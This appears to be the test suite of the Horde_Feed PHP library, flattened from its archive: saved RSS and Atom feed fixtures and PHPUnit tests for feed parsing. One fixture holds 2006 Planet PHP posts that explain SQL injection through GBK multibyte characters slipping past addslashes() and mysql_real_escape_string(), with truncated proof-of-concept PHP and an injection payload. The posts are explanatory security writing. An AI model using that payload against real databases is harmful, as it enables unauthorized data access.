people were unable to process 822 dates. <img src="http://static.userland.com/shortcuts/images/qbullets/sidesmiley.gif"></P> <P>2. 822 dates are not only machine readable, they are also human readable. One of the <A href="http://davenet.scripting.com/2000/09/02/whatToDoAboutRss#rssIsAboutSimplicity">goals</A> of RSS was to be non-intimidating for non-technical users -- they should be able to look at a file and make sense of what's there, where ever possible. </P> <P>3. Believe it or not, the decision was made in 1997, seven years ago. RSS is a venerable institution, so its anachronisms should be appreciated&nbsp;as one respects a fine wine or an elder statesman, or a format that spawned an incredible market.</P> Dave Winer http://blogs.law.harvard.edu/tech/2004/05/16#a534 http://blogs.law.harvard.edu/tech/comments?u=tech&amp;p=534&amp;link=http%3A%2F%2Fblogs.law.harvard.edu%2Ftech%2F2004%2F05%2F16%23a534 Speed Meets Feed in Download Tool http://blogs.law.harvard.edu/tech/2004/03/15#a519 <A href="http://www.wired.com/news/infostructure/0,1377,62651,00.html">Wired</A>: "A demo publishing system launched Friday by a popular programmer and blogger merges two of this season's hottest tech fads -- RSS news syndication and BitTorrent file sharing -- to create a cheap publishing system for what its author calls 'big media objects.' The hybrid system is meant to eliminate both the publisher's need for fat bandwidth, and the consumer's need to wait through a grueling download." Dave Winer http://blogs.law.harvard.edu/tech/2004/03/15#a519 http://blogs.law.harvard.edu/tech/comments?u=tech&amp;p=519&amp;link=http%3A%2F%2Fblogs.law.harvard.edu%2Ftech%2F2004%2F03%2F15%23a519 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/RssTestPlanetPHP.xml0000664000175000017500000005253012653701626022223 0ustar janjan Planet PHPhttp://planet-php.netPeople blogging about PHPeneZ components in Gentoo Linux - Sebastian Bergmannhttp://www.sebastian-bergmann.de/blog/archives/565-eZ-components-in-Gentoo-Linux.htmlMon, 23 Jan 2006 16:40:00 +0000eZ components, which provide an enterprise ready general purpose PHP platform, are now available through Gentoo Linux's portage system:
      wopr-mobile ~ # emerge -vp ezc-eZcomponents

These are the packages that I would merge, in order:

Calculating dependencies ...done!
[ebuild  N    ] app-admin/php-toolkit-1.0-r2  0 kB
[ebuild  N    ] dev-lang/php-5.1.2  0 kB [3]
[ebuild  N    ] dev-php/PEAR-PEAR-1.4.6  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Base-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Database-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-PhpGenerator-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Configuration-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-ImageAnalysis-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Archive-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Translation-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Cache-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-ConsoleTools-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-PersistentObject-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-ImageConversion-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Mail-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-UserInput-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Debug-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-EventLog-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-Execution-1.0_rc1  0 kB [2]
[ebuild  N    ] dev-php5/ezc-eZcomponents-1.0_rc1  0 kB [2]

Total size of downloads: 0 kB
Portage overlays:
 [1] /usr/local/overlay/personal
 [2] /usr/local/overlay/cvs
 [3] /usr/local/overlay/php/testing
 [4] /usr/local/overlay/php/experimental
 [5] /usr/local/overlay/gentopia
 [6] /usr/local/overlay/xgl
      ]]>      PHP Insecurity - Chris Shifletthttp://shiflett.org/archive/185Mon, 23 Jan 2006 16:15:56 +0000Andrew van der Stock has written a strong criticism of PHP's insecurity. Andrew is a seasoned security expert and a major contributor to OWASP, and he states:

      After writing PHP forum software for three years now, I've come to the conclusion that it is basically impossible for normal programmers to write secure PHP code. It takes far too much effort.

      He continues, citing specific areas where he thinks PHP is weak and asserting that "PHP must now mature and take on a proper security architecture."

      Many of the insecure features he cites (register_globals, magic_quotes_gpc, and safe_mode) are slated to be removed in PHP 6, but his core complaint seems to revolve around the fact that PHP makes too much power too easily accessible, often granting developers more power and flexibility than they realize (e.g., wrappers).

      Aside from minor language features like taint mode, I don't see what other platforms offer to help prevent inexperienced developers from writing insecure code. Anyone care to enlighten me? :-)

      Posted Mon, 23 Jan 2006 16:15:56 GMT in Chris Shiflett: The PHP Blog
      [   Discuss   |   Tag   |   Digg   |   Furl   |   Cosmos   ]

      ]]>      Beta release of mobile webmail client (MIMP) - Horde Newshttp://janschneider.de/cweb/home/index,channel,25,story,255.htmlMon, 23 Jan 2006 10:01:16 +0000Meet me at php|tek - ThinkPHP /dev/blog - PHPhttp://blog.thinkphp.de/archives/81-Meet-me-at-phptek.htmlSun, 22 Jan 2006 22:34:00 +0000php|tek, the next conference from the php|arch guys around Marco Tabini who already organized the php|cruise and php|tropics conferences, will be from April 26th to 28th at Orlando, Florida. As you can read on the recently published schedule I'll hold two talks. The first talk will be about PHP on the command line, showing PHP's strength beyond the web which can be helpful to build, deploy and scale your web-application and even for building apps completely independent from anything on the web. My second talk will be about PHP's reflection API. In that session I'll give an introduction into the API and show how to use it to build modular, dynamic applications.

      If you're in reachable distance you should take the chance to listen and meet PHP developers from all over the world. (Hint: Till January 31st you can get early-bird rates!)

      johannes

      ]]>      Quick Lookup - John Coxhttp://wyome.com/index.php?module=articles&func=display&ptid=10&catid=29-31&aid=507Sun, 22 Jan 2006 19:23:31 +0000Quick lookup is a very nice little reference tool for lookups of web development documentation. It installs as a simple bookmark which can be changed to your sidebar for look ups of php / css / javascript / mysql documentation. It has a limited scope of features (which isn't a bad thing in my mind):

      * Multiple tabs
      * PHP / MySQL / CSS / JS reference (MySQL is 55% complete)
      * Examples
      * Search as you type
      * Fast results
      * Remembers your last tab on your revisit
      * Access keys, [alt + (p, m, j, c)]

      I did a cursory install, and it appears to be pretty fast. I think it might be better as part of the Web Developer Extension for Firefox, but as is, I can see the uses.

      ]]>      mysql_real_escape_string() versus Prepared Statements - Ilia Alshanetskyhttp://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.htmlSun, 22 Jan 2006 18:03:59 +0000Chris has written a compelling piece about how the use of addslashes() for string escaping in MySQL queries can lead to SQL injection through the abuse of multibyte character sets. In his example he relies on addslashes() to convert an invalid multibyte sequence into a valid one, which also has an embedded ' that is not escaped. And in an ironic twist, the function intended to protect against SQL injection is used to actually trigger it.

      The problem demonstrated, actually goes a bit further, which even makes the prescribed escaping mechanism, mysql_real_escape_string() prone to the same kind of issues affecting addslashes(). The main advantage of the mysql_real_escape_string() over addslashes() lies in the fact that it takes character set into account and thus is able to determine how to properly escape the data. For example, if GBK character set is being used, it will not convert an invalid multibyte sequence 0xbf27 (¿’) into 0xbf5c27 (¿\’ or in GBK a single valid multibyte character followed by a single quote). To determine the proper escaping methodology mysql_real_escape_string() needs to know the character set used, which is normally retrieved from the database connection cursor. Herein lies the “trick”. In MySQL there are two ways to change the character set, you can do it by changing in MySQL configuration file (my.cnf) by doing:

      CODE:
      [client]
      default-character-set=GBK


      Or you can change on a per-connection basis, which is a common practice done by people without admin level access to the server via the following query:

      CODE:
      SET CHARACTER SET 'GBK'


      The problem with the latter, is that while it most certainly modified the charset it didn’t let the escaping facilities know about it. Which means that mysql_real_escape_string() still works on the basis of the default charset, which if set to latin1 (common default) will make the function work in a manner identical to addslashes() for our purposes. Another word, 0xbf27 will be converted to 0xbf5c27 facilitating the SQL injection. Here is a brief proof of concept.

      PHP:

      <?php

      $c       = mysql_connect("localhost", "user", "pass");
      mysql_select_db("database", $c);

      // change our character set
      mysql_query("SET CHARACTER SET 'gbk'", $c);

      // create demo table
      mysql_query("CREATE TABLE users (
          username VARCHAR(32) PRIMARY KEY,
          password VARCHAR(32)
      ) CHARACTER SET 'GBK'"      , $c);
      mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

      // now the exploit code
      $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'; 
      $_POST['password'] = 'anything'; 

      Truncated by Planet PHP, read more at the original (another 2694 bytes)

      ]]>      The addslashes() Versus mysql_real_escape_string() Debate - Chris Shifletthttp://shiflett.org/archive/184Sun, 22 Jan 2006 04:15:58 +0000Last month, I discussed Google's XSS Vulnerability and provided an example that demonstrates it. I was hoping to highlight why character encoding consistency is important, but apparently the addslashes() versus mysql_real_escape_string() debate continues. Demonstrating Google's XSS vulnerability was pretty easy. Demonstrating an SQL injection attack that is immune to addslashes() is a bit more involved, but still pretty straightforward.

      In GBK, 0xbf27 is not a valid multi-byte character, but 0xbf5c is. Interpreted as single-byte characters, 0xbf27 is 0xbf (¿) followed by 0x27 ('), and 0xbf5c is 0xbf (¿) followed by 0x5c (\).

      How does this help? If I want to attempt an SQL injection attack against a MySQL database, having single quotes escaped with a backslash is a bummer. If you're using addslashes(), however, I'm in luck. All I need to do is inject something like 0xbf27, and addslashes() modifies this to become 0xbf5c27, a valid multi-byte character followed by a single quote. In other words, I can successfully inject a single quote despite your escaping. That's because 0xbf5c is considered to be a single character, not two. Oops, there goes the backslash.

      I'm going to use MySQL 5.0 and PHP's mysqli extension for this demonstration. If you want to try this yourself, make sure you're using GBK. I just changed /etc/my.cnf, but that's because I'm testing locally:

      [client]
default-character-set=GBK

      Create a table called users:

      CREATE TABLE users
(
    username VARCHAR(32) CHARACTER SET GBK,
    password VARCHAR(32) CHARACTER SET GBK,
    PRIMARY KEY (username)
);

      The following script mimics a situation where only addslashes() is used to escape the data being used in a query:

      <?php 

      $mysql       = array(); 

      $db = mysqli_init(); 
      $db->real_connect('localhost', 'myuser', 'mypass', 'mydb'); 

      $_POST['username'] = chr(0xbf) . 
                                 chr(0x27) . 
                                 ' OR username = username /*'; 
      $_POST['password'] = 'guess'; 

      $mysql['username'] = addslashes($_POST['username']); 
      $mysql['password'] = addslashes($_POST

      Truncated by Planet PHP, read more at the original (another 4165 bytes)

      ]]>      PHP Conferences - Jason E. Sweathttp://blog.casey-sweat.us/?p=69Sun, 22 Jan 2006 04:04:14 +0000Back from Norway - Tobias Schlitthttp://www.schlitt.info/applications/blog/index.php?/archives/407-Back-from-Norway.htmlSun, 22 Jan 2006 00:30:57 +0000Norway is a somewhat strange country. When I got there - 2 weeks ago to work with Amos, Derick, Fred and Ray on the eZ components - it had the expected amount of snow. A few days later, there was nothing anymore. We had positive celsius values and the weather was really crappy... until Monday. Since then it has been snowing all the time and yesterday we left when it looked like this:

      pict1285.jpg

      Nice to watch, but not real fun to walk onto. :) Anyway, it's been another great stay in Skien, where the eZ headquarter is and I'm pretty much looking forward to our summer conference, where we plan to have the complete eZ team there and lots of people from the PHP world. Thanks for the great time, folks!

      ]]>      Solar 0.10.0 Released - Paul M. Joneshttp://paul-m-jones.com/blog/?p=192Sat, 21 Jan 2006 21:44:43 +0000       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/RssTestSlashdot.xml0000664000175000017500000004204612653701626022212 0ustar janjan Slashdot http://slashdot.org/ News for nerds, stuff that matters en-us Copyright 1997-2005, OSTG - Open Source Technology Group, Inc. All Rights Reserved. 2006-01-23T20:11:00+00:00 OSTG pater@slashdot.org Technology hourly 1 1970-01-01T00:00+00:00 Slashdot http://images.slashdot.org/topics/topicslashdot.gif http://slashdot.org/ Interview with Mark Spencer of Asterisk http://rss.slashdot.org/Slashdot/slashdot?m=3264 comforteagle writes "OSDir has published an interview with Mark Spencer of Asterisk and Gaim about why and how he got started coding up the software platform PBX system and how it has become much more than -just- another phone system. He also shares his insights for the opportunities within the telecom industry for open source."<img src="http://rss.slashdot.org/Slashdot/slashdot?g=3264"/> ScuttleMonkey 2006-01-23T19:47:00+00:00 communications ripe-for-open-source mainpage 15 15,13,11,6,2,1,1 http://slashdot.org/article.pl?sid=06/01/23/1517205&from=rss The Adobe Photoshop Elements Crafts Book http://rss.slashdot.org/Slashdot/slashdot?m=3263 Sdurham writes "Adobe Photoshop and its many siblings have long been a staple of artists, photographers, and programmers interested in doing serious image manipulation. Increasingly, Photoshop's younger sister Photoshop Elements comes prepackaged with digital cameras. Yet many of the users of these cameras lack the time or patience to tackle the steep learning curve of the Photoshop family and are left asking "How do I do ... ?". Elizabeth Bulger's The Adobe Photoshop Elements Crafts Book attempts to bridge the gap between Photoshop skill level and personal creativity by stepping the reader through 14 different craft projects. In doing so, Bulger tries to provide the basic Photoshop Elements skills necessary for readers to pursue their own projects after finishing the book." Read the rest of Sdurham's review.<img src="http://rss.slashdot.org/Slashdot/slashdot?g=3263"/> samzenpus 2006-01-23T18:54:00+00:00 books update-your-prom-pictures books 18 18,15,9,5,3,1,0 http://books.slashdot.org/article.pl?sid=06/01/23/1411250&from=rss Supreme Court spurns RIM http://rss.slashdot.org/Slashdot/slashdot?m=3262 l2718 writes "NTP has just won the latest round in its court battle against Research in Motion (makers of the Blackberry). Today's Order List from the US Supreme Court includes a denial of certiorary for RIM's appeal. This follows the Circuit Court of Appeals' denial of review en banc we have covered previously. As sometimes happens, the court nevertheless accepted amicus curiae briefs from several groups, including Intel and the Canadian government." The potential impact of this may mean the shutdown of Blackberry's network. I hope the crackberry addicts have lots of methadone onhand. <p><a href="http://rss.slashdot.org/~c/Slashdot/slashdot?a=fYMCju"><img src="http://rss.slashdot.org/~c/Slashdot/slashdot?i=fYMCju" border="0"></img></a></p><img src="http://rss.slashdot.org/Slashdot/slashdot?g=3262"/> Hemos 2006-01-23T18:22:00+00:00 patents good-bye-black-berry yro 138 138,131,116,73,15,9,5 http://yro.slashdot.org/article.pl?sid=06/01/23/1744258&from=rss Adult Entertainment Antes Up In DRM War http://rss.slashdot.org/Slashdot/slashdot?m=3261 At the recent adult entertainment awards, host Greg Fitzsimmons highlighted the deep relationship between the internet and pornography stating "'The Internet was completely funded by porn,' he said [...] And if it wasn't for the Internet, he added, 'you guys would be completely out of business.' The audience, packed with porn actors and adult entertainment moguls like Jenna Jameson and Larry Flynt, roared with laughter." Now it appears that the adult entertainment industry has chosen to ante up in the DRM battle as well. Some companies have chosen to take sides, like Digital Playground who will be supporting Sony's Blu-Ray. Others, like Vivid Entertainment, seem to think that the answer is diversity and will be supporting both Blu-Ray and HD-DVD.<img src="http://rss.slashdot.org/Slashdot/slashdot?g=3261"/> ScuttleMonkey 2006-01-23T17:37:00+00:00 media can't-we-all-just-get-along hardware 152 152,146,124,84,34,17,12 http://hardware.slashdot.org/article.pl?sid=06/01/23/1544235&from=rss Slashdot Index Code Update http://rss.slashdot.org/Slashdot/slashdot?m=3259 For years now Slashdot has posted what we call "Sectional Content". That is to say, stories that we think are good, but since we try to keep the Slashdot Main Page to around 15 stories per day, some stuff just gets put into the sections. This content is mostly lost to readers who simply don't know it exists. Today we're deploying new code to help you find that content (and alternatively, to disable it).<img src="http://rss.slashdot.org/Slashdot/slashdot?g=3259"/> CmdrTaco 2006-01-23T17:00:00+00:00 slashdot zomg-you-got-some-ajax-in-our-ui mainpage 247 247,231,192,142,41,21,14 http://slashdot.org/article.pl?sid=06/01/19/175253&from=rss IE7 Leaked http://rss.slashdot.org/Slashdot/slashdot?m=3260 lju writes "IE7 has been leaked according to pcpro. From the article: '...last Friday it was revealed that a build of the new browser - version 5299 - along with numerous screenshots, was available online.' " <p><a href="http://rss.slashdot.org/~c/Slashdot/slashdot?a=jVTbOh"><img src="http://rss.slashdot.org/~c/Slashdot/slashdot?i=jVTbOh" border="0"></img></a></p><img src="http://rss.slashdot.org/Slashdot/slashdot?g=3260"/> CmdrTaco 2006-01-23T16:41:00+00:00 microsoft hate-when-that-happens it 265 265,257,202,137,52,31,19 http://it.slashdot.org/article.pl?sid=06/01/23/152211&from=rss The Future of e-Commerce and e-Information? http://rss.slashdot.org/Slashdot/slashdot?m=3257 An anonymous reader writes "The Washington Post has an interesting article on what they label 'The Coming Tug of War Over the Internet. From the article: 'Do you prefer to search for information online with Google or Yahoo? What about bargain shopping -- do you go to Amazon or eBay? Many of us make these kinds of decisions several times a day, based on who knows what -- maybe you don't like bidding, or maybe Google's clean white search page suits you better than Yahoo's colorful clutter. But the nation's largest telephone companies have a new business plan, and if it comes to pass you may one day discover that Yahoo suddenly responds much faster to your inquiries, overriding your affinity for Google. Or that Amazon's Web site seems sluggish compared with eBay's.'" Seems like the idea of the 2-tier internet is really catching on with the market-droids.<img src="http://rss.slashdot.org/Slashdot/slashdot?g=3257"/> ScuttleMonkey 2006-01-23T15:46:00+00:00 biz bad-for-the-internet-good-for-business yro 159 159,157,140,90,25,16,10 http://yro.slashdot.org/article.pl?sid=06/01/23/1450249&from=rss MacWorld MacBook Only a Prototype? http://rss.slashdot.org/Slashdot/slashdot?m=3256 mahju writes "Hard Mac is reporting that Apple's, unoffical, response in Paris to the the lack of information on battery life, is that the MacBook Pro that were demoed at Mac World SF are only prototypes and the final versions are still under development. " <p><a href="http://rss.slashdot.org/~c/Slashdot/slashdot?a=qEOB5Q"><img src="http://rss.slashdot.org/~c/Slashdot/slashdot?i=qEOB5Q" border="0"></img></a></p><img src="http://rss.slashdot.org/Slashdot/slashdot?g=3256"/> CmdrTaco 2006-01-23T14:12:00+00:00 intel well-thats-not-surprising apple 160 160,150,136,102,35,21,14 http://apple.slashdot.org/article.pl?sid=06/01/23/1333220&from=rss Has Microsoft 'Solved' Spam? http://rss.slashdot.org/Slashdot/slashdot?m=3254 MsWillow writes to tell us the Seattle PI is running a story looking back at Bill Gates promise to have the spam problem "solved" in two years. Well, it looks like time is up, and the verdict is -- an emphatic "maybe". From the article: "Microsoft says it sees things differently. To "solve" the problem for consumers in the short run doesn't require eliminating spam entirely, said Ryan Hamlin, the general manager who oversees the company's anti-spam programs. Rather, he said, the idea is to contain it to the point that its impact on in-boxes is minor. In that way, Hamlin said, Gates' prediction has come true for people using the right tactics and advanced filtering technology."<img src="http://rss.slashdot.org/Slashdot/slashdot?g=3254"/> ScuttleMonkey 2006-01-23T13:37:00+00:00 spam depends-on-your-definition-of-solved it 283 283,277,240,152,57,27,15 http://it.slashdot.org/article.pl?sid=06/01/23/0340241&from=rss World of Warcraft AQ Gates Open! http://rss.slashdot.org/Slashdot/slashdot?m=3255 Tayman writes "Wow...who didn't see this one coming? The players on the World of Warcraft Medivh server opened the gates to AQ. What happened next? The server crashed repeatedly. Why create content the servers can't handle? The very first time I read about this patch, I knew the servers would crash. The more people who open the gates, the more angry customers Blizzard will have in my opinion. With 5million+ subscribers, you would think Blizzard would have the best servers/connection money can buy. Although, I'm sure it's more complicated than simply plugging in a few ram chips and faster processors though. Most of the people involved in the raid are having a great time though. Could this be the most epic battle ever introduced to the mmorpg market? All signs point to yes. Let's see how long the mobs will respawn. Hopefully, the people of the Medivh server haven't seen anything yet. Either way, I would hate to be a network admin for Blizzard atm. ^_^ Here are some pics of the event. Thanks go out to all of those who took these pics. World of Warcraft AQ Pics Check out MMORPG Veteran to keep up with the events as they unfold." Update: 01/23 13:44 GMT by Z : Additionally, brandor wrote in with a link to some video of the event.<img src="http://rss.slashdot.org/Slashdot/slashdot?g=3255"/> Hemos 2006-01-23T13:33:00+00:00 rpg of-course-it-will-blow-up games 330 330,313,258,158,46,27,20 http://games.slashdot.org/article.pl?sid=06/01/23/1244201&from=rss Search Slashdot Search Slashdot stories query http://slashdot.org/search.pl Horde_Feed-2.0.4/test/Horde/Feed/fixtures/TestAtomFeed.xml0000664000175000017500000000263612653701626021426 0ustar janjan Atom Example This is a simple Atom Feed made by XML_Feed_Writer. 4 3 2 2005-04-25T00:00:00+02:00 1 The Item Title 2004-09-25T16:03:00+02:00 2005-12-25T16:03:00+01:00 David Coallier Testing something before releasing 2 Second item added to the builder/feeded.. 2004-01-04T00:00:00+01:00 1970-01-01T01:00:00+01:00 David Coallier Jaws project, visit the website for infos... Horde_Feed-2.0.4/test/Horde/Feed/fixtures/TestAtomFeedEntryOnly.xml0000664000175000017500000000154012653701626023303 0ustar janjan1Bug1BuggyLong time debugging2005-09-152005-09-18RESOLVEDnormalP2FIXEDexample@example.comThe bug has been fixed. Horde_Feed-2.0.4/test/Horde/Feed/fixtures/TestAtomFeedNamespaced.xml0000664000175000017500000000304012653701626023375 0ustar janjan Atom Example This is a simple Atom Feed made by XML_Feed_Writer. 4 3 2 2005-04-25T00:00:00+02:00 1 The Item Title 2004-09-25T16:03:00+02:00 2005-12-25T16:03:00+01:00 David Coallier Testing something before releasing 2 Second item added to the builder/feeded.. 2004-01-04T00:00:00+01:00 1970-01-01T01:00:00+01:00 David Coallier Jaws project, visit the website for infos... Horde_Feed-2.0.4/test/Horde/Feed/AllTests.php0000664000175000017500000000013212653701626016740 0ustar janjanrun(); Horde_Feed-2.0.4/test/Horde/Feed/AtomEntryOnlyTest.php0000664000175000017500000000134012653701626020633 0ustar janjanassertEquals(1, $feed->count(), 'The entry-only feed should report one entry.'); foreach ($feed as $entry); $this->assertEquals('Horde_Feed_Entry_Atom', get_class($entry), 'The single entry should be an instance of Horde_Feed_Entry_Atom'); $this->assertEquals('1', $entry->id(), 'The single entry should have id 1'); $this->assertEquals('Bug', $entry->title(), 'The entry\'s title should be "Bug"'); } } Horde_Feed-2.0.4/test/Horde/Feed/AtomPublishingTest.php0000664000175000017500000000602012653701626020774 0ustar janjanuri = 'http://example.com/Feed'; } public function testPost() { $mock = new Horde_Http_Request_Mock(); $mock->setResponse(new Horde_Http_Response_Mock('', fopen(__DIR__ . '/fixtures/AtomPublishingTest-created-entry.xml', 'r'), array('HTTP/1.1 201'))); $httpClient = new Horde_Http_Client(array('request' => $mock)); $entry = new Horde_Feed_Entry_Atom(null, $httpClient); // Give the entry its initial values. $entry->title = 'Entry 1'; $entry->content = '1.1'; $entry->content['type'] = 'text'; // Do the initial post. The base feed URI is the same as the // POST URI, so just supply save() with that. $entry->save($this->uri); // $entry will be filled in with any elements returned by the // server (id, updated, link rel="edit", etc). $this->assertEquals('1', $entry->id(), 'Expected id to be 1'); $this->assertEquals('Entry 1', $entry->title(), 'Expected title to be "Entry 1"'); $this->assertEquals('1.1', $entry->content(), 'Expected content to be "1.1"'); $this->assertEquals('text', $entry->content['type'], 'Expected content/type to be "text"'); $this->assertEquals('2005-05-23T16:26:00-08:00', $entry->updated(), 'Expected updated date of 2005-05-23T16:26:00-08:00'); $this->assertEquals('http://example.com/Feed/1/1/', $entry->link('edit'), 'Expected edit URI of http://example.com/Feed/1/1/'); } public function testEdit() { $mock = new Horde_Http_Request_Mock(); $mock->setResponse(new Horde_Http_Response_Mock('', fopen(__DIR__ . '/fixtures/AtomPublishingTest-updated-entry.xml', 'r'), array('HTTP/1.1 200'))); $httpClient = new Horde_Http_Client(array('request' => $mock)); // The base feed URI is the same as the POST URI, so just supply the // Horde_Feed_Entry_Atom object with that. $contents = file_get_contents(__DIR__ . '/fixtures/AtomPublishingTest-before-update.xml'); $entry = new Horde_Feed_Entry_Atom($contents, $httpClient); // Initial state. $this->assertEquals('2005-05-23T16:26:00-08:00', $entry->updated(), 'Initial state of updated timestamp does not match'); $this->assertEquals('http://example.com/Feed/1/1/', $entry->link('edit'), 'Initial state of edit link does not match'); // Just change the entry's properties directly. $entry->content = '1.2'; // Then save the changes. $entry->save(); // New state. $this->assertEquals('1.2', $entry->content(), 'Content change did not stick'); $this->assertEquals('2005-05-23T16:27:00-08:00', $entry->updated(), 'New updated link is not correct'); $this->assertEquals('http://example.com/Feed/1/2/', $entry->link('edit'), 'New edit link is not correct'); } } Horde_Feed-2.0.4/test/Horde/Feed/BlogrollTest.php0000664000175000017500000000302012653701626017620 0ustar janjan_feedDir = __DIR__ . '/fixtures/'; } /** * @dataProvider getValidBlogrollTests */ public function testValidBlogrolls($file) { $feed = Horde_Feed::readFile($this->_feedDir . $file); $this->assertInstanceOf('Horde_Feed_Blogroll', $feed); $this->assertTrue(count($feed) > 0); foreach ($feed as $entry) { break; } $this->assertInstanceOf('Horde_Feed_Entry_Blogroll', $entry); $this->assertGreaterThan(0, strlen($entry->text)); $this->assertGreaterThan(0, strlen($entry->xmlUrl)); $this->assertEquals($entry->text, $entry['text']); $this->assertEquals($entry->description, $entry['description']); $this->assertEquals($entry->title, $entry['title']); $this->assertEquals($entry->htmlUrl, $entry['htmlUrl']); $this->assertEquals($entry->xmlUrl, $entry['xmlUrl']); } public function testGroupedBlogrolls() { $feed = Horde_Feed::readFile($this->_feedDir . 'MySubscriptionsGrouped.opml'); } public static function getValidBlogrollTests() { return array( array('BlogRollTestSample1.xml'), array('BlogRollTestSample2.xml'), array('MySubscriptions.opml'), array('MySubscriptionsGrouped.opml'), ); } } Horde_Feed-2.0.4/test/Horde/Feed/bootstrap.php0000664000175000017500000000014312653701626017224 0ustar janjanassertEquals($f->count(), 2, 'Feed count should be 2'); } } Horde_Feed-2.0.4/test/Horde/Feed/IteratorTest.php0000664000175000017500000000454312653701626017650 0ustar janjanfeed = Horde_Feed::readFile(__DIR__ . '/fixtures/TestAtomFeed.xml'); $this->nsfeed = Horde_Feed::readFile(__DIR__ . '/fixtures/TestAtomFeedNamespaced.xml'); } public function testRewind() { $times = 0; foreach ($this->feed as $f) { ++$times; } $times2 = 0; foreach ($this->feed as $f) { ++$times2; } $this->assertEquals($times, $times2, 'Feed should have the same number of iterations multiple times through'); $times = 0; foreach ($this->nsfeed as $f) { ++$times; } $times2 = 0; foreach ($this->nsfeed as $f) { ++$times2; } $this->assertEquals($times, $times2, 'Feed should have the same number of iterations multiple times through'); } public function testCurrent() { foreach ($this->feed as $f) { $this->assertTrue($f instanceof Horde_Feed_Entry_Atom, 'Each feed entry should be an instance of Horde_Feed_Entry_Atom'); break; } foreach ($this->nsfeed as $f) { $this->assertTrue($f instanceof Horde_Feed_Entry_Atom, 'Each feed entry should be an instance of Horde_Feed_Entry_Atom'); break; } } public function testKey() { $keys = array(); foreach ($this->feed as $k => $f) { $keys[] = $k; } $this->assertEquals($keys, array(0, 1), 'Feed should have keys 0 and 1'); $keys = array(); foreach ($this->nsfeed as $k => $f) { $keys[] = $k; } $this->assertEquals($keys, array(0, 1), 'Feed should have keys 0 and 1'); } public function testNext() { $last = null; foreach ($this->feed as $current) { $this->assertFalse($last === $current, 'Iteration should produce a new object each entry'); $last = $current; } $last = null; foreach ($this->nsfeed as $current) { $this->assertFalse($last === $current, 'Iteration should produce a new object each entry'); $last = $current; } } } Horde_Feed-2.0.4/test/Horde/Feed/LexiconTest.php0000664000175000017500000000117512653701626017456 0ustar janjanassertGreaterThan(0, count($feed)); } public static function getLexicon() { $files = array(); foreach (new DirectoryIterator(__DIR__ . '/fixtures/lexicon') as $file) { if ($file->isFile()) { $files[] = array($file->getPathname()); } } return $files; } } Horde_Feed-2.0.4/test/Horde/Feed/phpunit.xml0000664000175000017500000000030612653701626016710 0ustar janjan ../../../lib Horde_Feed-2.0.4/test/Horde/Feed/ReadTest.php0000664000175000017500000000426212653701626016730 0ustar janjan_feedDir = __DIR__ . '/fixtures/'; } /** * @dataProvider getValidAtomTests */ public function testValidAtomFeeds($file) { $feed = Horde_Feed::readFile($this->_feedDir . $file); $this->assertInstanceOf('Horde_Feed_Atom', $feed); } public static function getValidAtomTests() { return array( array('AtomTestGoogle.xml'), array('AtomTestMozillazine.xml'), array('AtomTestOReilly.xml'), array('AtomTestPlanetPHP.xml'), array('AtomTestSample1.xml'), array('AtomTestSample2.xml'), array('AtomTestSample4.xml'), ); } /** * @dataProvider getValidRssTests */ public function testValidRssFeeds($file) { $feed = Horde_Feed::readFile($this->_feedDir . $file); $this->assertInstanceOf('Horde_Feed_Rss', $feed); } public static function getValidRssTests() { return array( array('RssTestHarvardLaw.xml'), array('RssTestPlanetPHP.xml'), array('RssTestSlashdot.xml'), array('RssTestCNN.xml'), array('RssTest091Sample1.xml'), array('RssTest092Sample1.xml'), array('RssTest100Sample1.xml'), array('RssTest100Sample2.xml'), array('RssTest200Sample1.xml'), ); } public function testAtomWithUnbalancedTags() { $feed = Horde_Feed::readFile($this->_feedDir . 'AtomTestSample3.xml'); $this->assertTrue($feed instanceof Horde_Feed_Base, 'Should be able to parse a feed with unmatched tags'); } public function testNotAFeed() { try { $feed = Horde_Feed::readFile($this->_feedDir . 'NotAFeed.xml'); } catch (Exception $e) { $this->assertInstanceOf('Horde_Feed_Exception', $e); return; } $this->fail('Expected a Horde_Feed_Exception when parsing content that is not a feed of any kind'); } }